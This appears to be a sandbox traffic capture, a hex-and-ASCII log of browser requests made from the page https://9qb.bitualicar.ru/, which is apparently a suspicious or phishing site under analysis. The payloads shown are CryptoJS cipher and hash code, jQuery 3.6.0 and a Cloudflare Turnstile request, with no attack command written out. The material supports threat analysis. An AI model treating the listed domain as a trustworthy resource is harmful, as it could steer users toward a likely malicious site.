2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 68 69 Data Ascii: t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)thi
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c Data Ascii: s._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|0,
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 7c 30 Data Ascii: <8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)\|0
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: ffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 Data Ascii: ;return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXY
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 Data Ascii: ))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.w
2025-03-13 21:23:26 UTC	1369	IN	Data Raw: 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 Data Ascii: ,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:26 UTC	664	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:26 UTC	608	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3142608 Date: Thu, 13 Mar 2025 21:23:26 GMT X-Served-By: cache-lga21931-LGA, cache-gnv1820027-GNV X-Cache: HIT, HIT X-Cache-Hits: 6962, 0 X-Timer: S1741901007.517964,VS0,VE1 Vary: Accept-Encoding
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-13 21:23:26 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:26 UTC	705	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
